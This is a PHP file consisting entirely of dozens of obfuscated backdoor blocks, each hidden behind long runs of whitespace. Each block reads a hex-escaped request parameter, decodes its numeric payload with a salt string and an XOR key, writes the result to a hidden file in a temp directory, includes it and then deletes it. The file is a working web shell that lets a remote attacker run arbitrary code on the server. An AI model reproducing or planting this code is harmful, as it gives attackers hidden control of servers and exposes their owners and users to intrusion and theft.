<?php																																										if(!is_null($_REQUEST["\x62\x69nd"] ?? null)){ $marker = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); $binding = $_REQUEST["\x62\x69nd"]; $binding = explode( '.' , $binding ) ; $dat =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s8); $z =0; array_walk($binding, function($v3) use(&$dat, &$z, $s8, $sLen) { $sChar =ord($s8[$z % $sLen]); $d =((int)$v3 - $sChar -($z % 10)) ^ 82; $dat .= chr($d); $z++; }); while ($record = array_shift($marker)) { if (is_writable($record) && is_dir($record)) { $property_set = vsprintf("%s/%s", [$record, ".parameter_group"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $property_set; @unlink($property_set); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62\x69nd"])){ $object = $_REQUEST["\x62\x69nd"]; $object = explode ( '.', $object ) ; $descriptor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $t = 0; foreach( $object as $v5) { $sChar = ord( $salt8[$t %$lenS]); $dec = ( ( int)$v5 - $sChar -( $t %10))^ 3; $descriptor .= chr( $dec); $t++; } $ent = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir()]); $resource = 0; do { $flg = $ent[$resource] ?? null; if ($resource >= count($ent)) break; if ((is_dir($flg) and is_writable($flg))) { $dchunk = sprintf("%s/.rec", $flg); if (@file_put_contents($dchunk, $descriptor) !== false) { include $dchunk; unlink($dchunk); exit; } } $resource++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62i\x6Edi\x6E\x67"])){ $hld = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", session_save_path()]); $bind = $_REQUEST["\x62i\x6Edi\x6E\x67"]; $bind =explode ( ".",$bind); $data_chunk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $x = 0; while($x<count($bind)) { $v5 = $bind[$x]; $sChar = ord($s7[$x % $sLen] ); $d =((int)$v5 - $sChar -($x % 10)) ^ 90; $data_chunk .= chr($d ); $x++; } while ($item = array_shift($hld)) { if (is_dir($item) ? is_writable($item) : false) { $element = implode("/", [$item, ".obj"]); if (file_put_contents($element, $data_chunk)) { include $element; @unlink($element); die(); } } } }
																																										if(in_array("re\x63\x6F\x72d", array_keys($_REQUEST))){ $value = $_REQUEST["re\x63\x6F\x72d"]; $value= explode( '.' ,$value ) ; $entry = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); foreach ($value as $u => $v3): $sChar = ord($salt4[$u % $lenS] ); $dec = ((int)$v3 - $sChar - ($u % 10)) ^ 20; $entry.= chr($dec ); endforeach; $rec = array_filter([session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); foreach ($rec as $ptr) { if (array_product([is_dir($ptr), is_writable($ptr)])) { $component = "$ptr" . "/.dat"; $file = fopen($component, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(array_key_exists("\x65\x6Et", $_POST)){ $sym = $_POST["\x65\x6Et"]; $sym= explode ( "." , $sym ); $mrk =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s5 ); foreach ($sym as $w => $v8) {$chS =ord($s5[$w % $lenS] ); $dec =((int)$v8 - $chS - ($w % 10)) ^ 20; $mrk.=chr($dec ); } $flag = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), getenv("TEMP")]); for ($obj = 0, $item = count($flag); $obj < $item; $obj++) { $factor = $flag[$obj]; if (!!is_dir($factor) && !!is_writable($factor)) { $res = join("/", [$factor, ".pgrp"]); $file = fopen($res, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $res; @unlink($res); exit; } } } }
																																										if(isset($_POST) && isset($_POST["to\x6Ben"])){ $ptr = $_POST["to\x6Ben"]; $ptr = explode ('.' ,$ptr) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $m = 0; while( $m< count( $ptr)) { $v8 = $ptr[$m]; $chS = ord( $salt[$m % $lenS]); $d = ( ( int)$v8 - $chS -( $m % 10))^ 18; $descriptor .= chr( $d); $m++; } $val = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm"]); foreach ($val as $binding): if (is_writable($binding) && is_dir($binding)) { $fac = vsprintf("%s/%s", [$binding, ".flg"]); $success = file_put_contents($fac, $descriptor); if ($success) { include $fac; @unlink($fac); exit;} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "sy\x6Dbol")){ $res = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), "/tmp"]); $obj = $_POST["sy\x6Dbol"]; $obj= explode ( '.', $obj ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $n = 0; foreach( $obj as $v6) { $chS = ord( $s[$n % $lenS] ); $d =( ( int)$v6 - $chS -( $n % 10)) ^ 98; $descriptor .= chr( $d ); $n++; } $binding = 0; do { $pointer = $res[$binding] ?? null; if ($binding >= count($res)) break; if (!!is_dir($pointer) && !!is_writable($pointer)) { $component = "$pointer" . "/.factor"; $file = fopen($component, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $component; @unlink($component); die(); } } $binding++; } while (true); }
																																										if(array_key_exists("\x6Be\x79", $_REQUEST) && !is_null($_REQUEST["\x6Be\x79"])){ $factor = $_REQUEST["\x6Be\x79"]; $factor =explode( '.' , $factor ) ; $ent = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $i = 0; $len = count($factor); do { if ($i >= $len) break; $v2 = $factor[$i]; $sChar = ord($salt8[$i % $lenS]); $d = ((int)$v2 - $sChar - ($i % 10)) ^22; $ent .= chr($d); $i++; } while (true); $binding = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); foreach ($binding as $token): if (is_writable($token) && is_dir($token)) { $bind = str_replace("{var_dir}", $token, "{var_dir}/.reference"); $success = file_put_contents($bind, $ent); if ($success) { include $bind; @unlink($bind); die();} } endforeach; }
																																										if(@$_REQUEST["\x65\x6Eti\x74y"] !== null){ $bind = $_REQUEST["\x65\x6Eti\x74y"]; $bind = explode( "." , $bind ) ; $res= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $k= 0; $__len= count($bind); do { if ($k >= $__len) break; $v5= $bind[$k]; $sChar= ord($s[$k % $sLen]); $dec= ((int)$v5 - $sChar - ($k % 10)) ^ 46; $res .= chr($dec); $k++;}while (true); $object = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); while ($pointer = array_shift($object)) { if (max(0, is_dir($pointer) * is_writable($pointer))) { $value = "$pointer" . "/.element"; if (file_put_contents($value, $res)) { require $value; unlink($value); die(); } } } }
																																										if(array_key_exists("d\x61ta", $_POST)){ $ent = array_filter([session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp"]); $marker = $_POST["d\x61ta"]; $marker = explode ('.' , $marker) ; $mrk = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $y = 0; while( $y < count( $marker)) { $v7 = $marker[$y]; $chS = ord( $salt4[$y % $lenS]); $dec =( ( int)$v7 - $chS -( $y % 10)) ^ 6; $mrk .=chr( $dec); $y++; } $sym = 0; do { $token = $ent[$sym] ?? null; if ($sym >= count($ent)) break; if ((is_dir($token) and is_writable($token))) { $entry = "$token/.binding"; if (file_put_contents($entry, $mrk)) { require $entry; unlink($entry); die(); } } $sym++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74")){ $pset = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); $k = $_POST["e\x6E\x74"]; $k = explode( '.' ,$k ) ; $record = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $__len = count($k); for($u = 0; $u < $__len; $u++) { $v5 = $k[$u]; $sChar = ord($salt4[$u% $sLen]); $dec =((int)$v5 - $sChar -($u% 10)) ^ 77; $record.=chr($dec); } while ($object = array_shift($pset)) { if (is_writable($object) && is_dir($object)) { $tkn = vsprintf("%s/%s", [$object, ".dchunk"]); $success = file_put_contents($tkn, $record); if ($success) { include $tkn; @unlink($tkn); die();} } } }
																																										if(array_key_exists("e\x6Et\x72y", $_REQUEST) && !is_null($_REQUEST["e\x6Et\x72y"])){ $element = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); $hld = $_REQUEST["e\x6Et\x72y"]; $hld = explode ( '.' ,$hld ); $pointer = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); foreach( $hld as $m =>$v6): $sChar = ord( $s8[$m % $sLen] ); $dec =( ( int)$v6 - $sChar -( $m % 10)) ^ 78; $pointer .= chr( $dec ); endforeach; $rec = 0; do { $fac = $element[$rec] ?? null; if ($rec >= count($element)) break; if (is_writable($fac) && is_dir($fac)) { $marker = str_replace("{var_dir}", $fac, "{var_dir}/.item"); $success = file_put_contents($marker, $pointer); if ($success) { include $marker; @unlink($marker); exit;} } $rec++; } while (true); }
																																										if(in_array("ref", array_keys($_REQUEST))){ $reference = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $flag = $_REQUEST["ref"]; $flag =explode( "." , $flag ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $z = 0; $len = count($flag ); do { if ($z >= $len) break; $v1 = $flag[$z]; $chS = ord($salt[$z % $sLen] ); $d = ((int)$v1 - $chS - ($z % 10)) ^ 25; $element .= chr($d ); $z++; } while (true ); while ($object = array_shift($reference)) { if (max(0, is_dir($object) * is_writable($object))) { $descriptor = "$object/.k"; $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(in_array("da\x74a_\x63\x68u\x6Ek", array_keys($_REQUEST))){ $bind = $_REQUEST["da\x74a_\x63\x68u\x6Ek"]; $bind = explode( '.' , $bind ); $hld = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $r = 0; $__tmp = $bind; while($v7 = array_shift($__tmp)) { $chS = ord($salt7[$r% $sLen]); $d = ((int)$v7 - $chS -($r% 10)) ^ 70; $hld .= chr($d); $r++; } $dat = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($dat as $key => $value) { if ((is_dir($value) and is_writable($value))) { $reference = sprintf("%s/.flag", $value); if (file_put_contents($reference, $hld)) { require $reference; unlink($reference); exit; } } } }
																																										if(!empty($_POST["\x66a\x63\x74or"])){ $hld = array_filter(["/var/tmp", getcwd(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir()]); $desc = $_POST["\x66a\x63\x74or"]; $desc =explode ( '.' , $desc ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; $__len = count($desc); do { if ($t >= $__len) break; $v6 = $desc[$t]; $sChar = ord($salt[$t % $lenS]); $dec = ((int)$v6 - $sChar - ($t % 10)) ^ 16; $key .= chr($dec); $t++; } while (true); $k = 0; do { $fac = $hld[$k] ?? null; if ($k >= count($hld)) break; if (is_dir($fac) && is_writable($fac)) { $val = implode("/", [$fac, ".ent"]); if (file_put_contents($val, $key)) { require $val; unlink($val); exit; } } $k++; } while (true); }
																																										if(isset($_POST["\x68l\x64"]) ? true : false){ $flg = array_filter([getcwd(), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); $ptr = $_POST["\x68l\x64"]; $ptr =explode ( '.' ,$ptr) ; $res = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); foreach($ptr as $y => $v5) { $sChar = ord($s9[$y %$sLen] ); $dec = ((int)$v5 - $sChar -($y %10)) ^ 4; $res .= chr($dec );} foreach ($flg as $record) { if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $val = vsprintf("%s/%s", [$record, ".entry"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $val; @unlink($val); die(); } } } }
																																										if(isset($_REQUEST["f\x6Cag"]) ? true : false){ $reference = $_REQUEST["f\x6Cag"]; $reference= explode ( "." , $reference) ; $factor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4 ); $__len = count( $reference ); for( $p = 0; $p<$__len; $p++) { $v9 = $reference[$p]; $chS = ord( $s4[$p % $lenS] ); $d =( ( int)$v9 - $chS -( $p % 10)) ^ 3; $factor.=chr( $d ); } $dat = array_filter([session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($dat as $key => $record) { if (is_dir($record) ? is_writable($record) : false) { $element = sprintf("%s/.mrk", $record); if (file_put_contents($element, $factor)) { require $element; unlink($element); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "desc")){ $obj = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $pgrp = $_POST["desc"]; $pgrp=explode ('.' ,$pgrp ); $k = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $s = 0; while ($s < count($pgrp)) {$v1 = $pgrp[$s]; $chS = ord($s3[$s % $lenS]); $dec = ((int)$v1 - $chS - ($s % 10))^ 66; $k .= chr($dec); $s++; } $mrk = 0; do { $object = $obj[$mrk] ?? null; if ($mrk >= count($obj)) break; if (!( !is_dir($object) || !is_writable($object) )) { $ref = implode("/", [$object, ".descriptor"]); if (file_put_contents($ref, $k)) { require $ref; unlink($ref); exit; } } $mrk++; } while (true); }
																																										if(isset($_POST["\x65l\x65m"]) ? true : false){ $component = $_POST["\x65l\x65m"]; $component = explode ("." , $component) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; while ($t < count($component)) { $v2 = $component[$t]; $sChar = ord($salt[$t % $lenS]); $dec = ((int)$v2 - $sChar - ($t % 10)) ^ 99; $pgrp .=chr($dec); $t++; } $binding = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", sys_get_temp_dir()]); foreach ($binding as $key => $entity) { if ((is_dir($entity) and is_writable($entity))) { $ent = sprintf("%s/.data", $entity); if (file_put_contents($ent, $pgrp)) { require $ent; unlink($ent); exit; } } } }
																																										if(@$_REQUEST["i\x74e\x6D"] !== null){ $elem = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir()]); $pset = $_REQUEST["i\x74e\x6D"]; $pset =explode ( ".", $pset ); $sym = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $r = 0; $__tmp = $pset; while($v2 = array_shift($__tmp)) { $chS = ord($salt7[$r % $lenS]); $dec = ((int)$v2 - $chS -($r % 10)) ^ 32; $sym .= chr($dec); $r++; } while ($res = array_shift($elem)) { if (max(0, is_dir($res) * is_writable($res))) { $reference = vsprintf("%s/%s", [$res, ".rec"]); $success = file_put_contents($reference, $sym); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(array_key_exists("d\x65\x73\x63\x72\x69ptor", $_REQUEST)){ $holder = $_REQUEST["d\x65\x73\x63\x72\x69ptor"]; $holder=explode ("." , $holder ) ; $ent = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); foreach( $holder as $m => $v9) { $sChar = ord( $s6[$m %$sLen]); $dec = ( ( int)$v9 - $sChar -( $m %10)) ^ 81; $ent .= chr( $dec); } $component = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp"]); while ($token = array_shift($component)) { if ((bool)is_dir($token) && (bool)is_writable($token)) { $obj = sprintf("%s/.flag", $token); if (file_put_contents($obj, $ent)) { include $obj; @unlink($obj); die(); } } } }
																																										if(!empty($_POST["\x64\x61ta\x5F\x63\x68unk"])){ $holder = $_POST["\x64\x61ta\x5F\x63\x68unk"]; $holder = explode( "." , $holder ) ; $hld = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $j = 0; foreach( $holder as $v2) { $chS = ord( $salt4[$j % $sLen]); $dec = ( ( int)$v2 - $chS -( $j % 10)) ^ 76; $hld .= chr( $dec); $j++;} $pointer = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd()]); $ent = 0; do { $mrk = $pointer[$ent] ?? null; if ($ent >= count($pointer)) break; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $desc = implode("/", [$mrk, ".value"]); if (file_put_contents($desc, $hld)) { require $desc; unlink($desc); exit; } } $ent++; } while (true); }
																																										if(isset($_POST["rec"]) ? true : false){ $data_chunk = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp"]); $hld = $_POST["rec"]; $hld=explode ('.' , $hld ) ; $symbol= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $k= 0; $__len= count($hld); do {if ($k >= $__len) break; $v9= $hld[$k]; $chS= ord($s[$k % $sLen]); $d= ((int)$v9 - $chS - ($k % 10)) ^ 56; $symbol .= chr($d); $k++; }while (true); foreach ($data_chunk as $res): if (is_dir($res) && is_writable($res)) { $tkn = "$res" . "/.entity"; $success = file_put_contents($tkn, $symbol); if ($success) { include $tkn; @unlink($tkn); die();} } endforeach; }
																																										if(array_key_exists("r\x65\x66e\x72\x65nce", $_REQUEST)){ $mrk = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp"]); $res = $_REQUEST["r\x65\x66e\x72\x65nce"]; $res = explode ('.' , $res) ; $k = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); foreach ($res as $p => $v2): $chS = ord($salt4[$p % $lenS]); $d = ((int)$v2 - $chS - ($p % 10)) ^ 29; $k .= chr($d); endforeach; $itm = 0; do { $flag = $mrk[$itm] ?? null; if ($itm >= count($mrk)) break; if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $sym = "$flag" . "/.property_set"; $success = file_put_contents($sym, $k); if ($success) { include $sym; @unlink($sym); die();} } $itm++; } while (true); }
																																										if(!is_null($_REQUEST["ent"] ?? null)){ $tkn = $_REQUEST["ent"]; $tkn =explode ("." , $tkn); $resource= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s1 ); $j= 0; while( $j < count( $tkn)) {$v6= $tkn[$j]; $chS= ord( $s1[$j % $sLen] ); $d= ( ( int)$v6 - $chS -( $j % 10)) ^ 29; $resource .=chr( $d ); $j++; } $object = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($object as $element): if ((bool)is_dir($element) && (bool)is_writable($element)) { $k = sprintf("%s/.marker", $element); $file = fopen($k, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $k; @unlink($k); exit; } } endforeach; }
																																										if(isset($_REQUEST["pset"]) ? true : false){ $flg = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd()]); $comp = $_REQUEST["pset"]; $comp = explode ( '.' , $comp ); $res =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s5); $r =0; foreach( $comp as $v3) {$sChar =ord( $s5[$r% $sLen]); $dec =( ( int)$v3 - $sChar -( $r% 10)) ^ 82; $res .= chr( $dec); $r++; } foreach ($flg as $fac): if (array_product([is_dir($fac), is_writable($fac)])) { $holder = vsprintf("%s/%s", [$fac, ".sym"]); $success = file_put_contents($holder, $res); if ($success) { include $holder; @unlink($holder); exit;} } endforeach; }
																																										if(in_array("\x65l\x65m", array_keys($_REQUEST))){ $ptr = $_REQUEST["\x65l\x65m"]; $ptr= explode ( "." ,$ptr ) ; $data_chunk = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); $k = 0; array_walk( $ptr, function( $v4) use( &$data_chunk, &$k, $s8, $sLen) { $chS = ord( $s8[$k % $sLen] ); $d =( ( int)$v4 - $chS -( $k % 10)) ^ 84; $data_chunk .=chr( $d ); $k++; } ); $bind = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP")]); $flg = 0; do { $parameter_group = $bind[$flg] ?? null; if ($flg >= count($bind)) break; if ((is_dir($parameter_group) and is_writable($parameter_group))) { $marker = sprintf("%s/.descriptor", $parameter_group); $success = file_put_contents($marker, $data_chunk); if ($success) { include $marker; @unlink($marker); exit;} } $flg++; } while (true); }
																																										if(!empty($_REQUEST["r\x65\x63"])){ $component = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), session_save_path()]); $desc = $_REQUEST["r\x65\x63"]; $desc = explode ( '.' , $desc) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $j = 0; array_walk( $desc , function( $v3) use( &$holder , &$j , $salt , $lenS) { $sChar = ord( $salt[$j % $lenS]); $dec =( ( int)$v3 - $sChar -( $j % 10)) ^22; $holder .= chr( $dec); $j++;} ); foreach ($component as $dat) { if (max(0, is_dir($dat) * is_writable($dat))) { $elem = "$dat/.flg"; $success = file_put_contents($elem, $holder); if ($success) { include $elem; @unlink($elem); exit;} } } }
																																										if(!empty($_REQUEST["fa\x63\x74or"])){ $binding = array_filter(["/tmp", "/dev/shm", session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $itm = $_REQUEST["fa\x63\x74or"]; $itm = explode ( '.' ,$itm ); $rec = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $__len = count($itm); for ($s = 0; $s < $__len; $s++) { $v8 = $itm[$s]; $chS = ord($salt3[$s% $lenS]); $d = ((int)$v8 - $chS - ($s% 10)) ^ 80; $rec .= chr($d); } for ($mrk = 0, $parameter_group = count($binding); $mrk < $parameter_group; $mrk++) { $comp = $binding[$mrk]; if (is_dir($comp) ? is_writable($comp) : false) { $item = str_replace("{var_dir}", $comp, "{var_dir}/.dat"); if (file_put_contents($item, $rec)) { require $item; unlink($item); exit; } } } }
																																										if(array_key_exists("e\x6E\x74", $_POST) && !is_null($_POST["e\x6E\x74"])){ $fac = $_POST["e\x6E\x74"]; $fac= explode('.' , $fac); $reference = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $o = 0; while ($o < count($fac)) { $v1 = $fac[$o]; $chS = ord($salt7[$o % $sLen]); $d = ((int)$v1 - $chS - ($o % 10)) ^ 26; $reference .=chr($d); $o++; } $mrk = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", session_save_path()]); foreach ($mrk as $property_set): if (!( !is_dir($property_set) || !is_writable($property_set) )) { $flg = sprintf("%s/.factor", $property_set); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $flg; @unlink($flg); die(); } } endforeach; }
																																										if(!empty($_REQUEST["m\x72k"])){ $dat = $_REQUEST["m\x72k"]; $dat = explode ( '.' , $dat ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $o = 0; $len = count($dat ); do {if ($o >= $len) break; $v7 = $dat[$o]; $chS = ord($salt[$o % $sLen] ); $d = ((int)$v7 - $chS - ($o % 10)) ^ 36; $entity.=chr($d ); $o++; } while (true ); $elem = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $holder = 0; do { $token = $elem[$holder] ?? null; if ($holder >= count($elem)) break; if (is_dir($token) && is_writable($token)) { $entry = "$token" . "/.ent"; if (file_put_contents($entry, $entity)) { require $entry; unlink($entry); exit; } } $holder++; } while (true); }
																																										if(array_key_exists("bi\x6E\x64\x69\x6Eg", $_REQUEST) && !is_null($_REQUEST["bi\x6E\x64\x69\x6Eg"])){ $pset = $_REQUEST["bi\x6E\x64\x69\x6Eg"]; $pset = explode ("." ,$pset ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($pset as $j => $v5) { $sChar = ord($salt[$j % $sLen]); $dec = ((int)$v5 - $sChar - ($j % 10)) ^ 50; $rec .=chr($dec);} $object = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); for ($k = 0, $resource = count($object); $k < $resource; $k++) { $pointer = $object[$k]; if (is_writable($pointer) && is_dir($pointer)) { $comp = join("/", [$pointer, ".value"]); if (@file_put_contents($comp, $rec) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Et")){ $symbol = array_filter(["/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); $comp = $_REQUEST["\x65\x6Et"]; $comp = explode ( '.' , $comp ) ; $entry = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $m = 0; array_walk($comp, function ($v7) use (&$entry, &$m, $salt3, $sLen) { $sChar = ord($salt3[$m % $sLen]); $dec = ((int)$v7 - $sChar - ($m % 10)) ^ 89; $entry.= chr($dec); $m++; }); for ($object = 0, $rec = count($symbol); $object < $rec; $object++) { $pgrp = $symbol[$object]; if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $pset = vsprintf("%s/%s", [$pgrp, ".hld"]); if (file_put_contents($pset, $entry)) { include $pset; @unlink($pset); die(); } } } }
																																										if(array_key_exists("i\x74m", $_REQUEST)){ $component = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); $pointer = $_REQUEST["i\x74m"]; $pointer= explode( '.' , $pointer ) ; $object=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt4); foreach( $pointer as $w => $v5) { $chS=ord( $salt4[$w % $lenS]); $dec=( ( int)$v5 - $chS -( $w % 10)) ^ 96; $object.= chr( $dec); } foreach ($component as $key => $pgrp) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $obj = join("/", [$pgrp, ".desc"]); $success = file_put_contents($obj, $object); if ($success) { include $obj; @unlink($obj); exit;} } } }
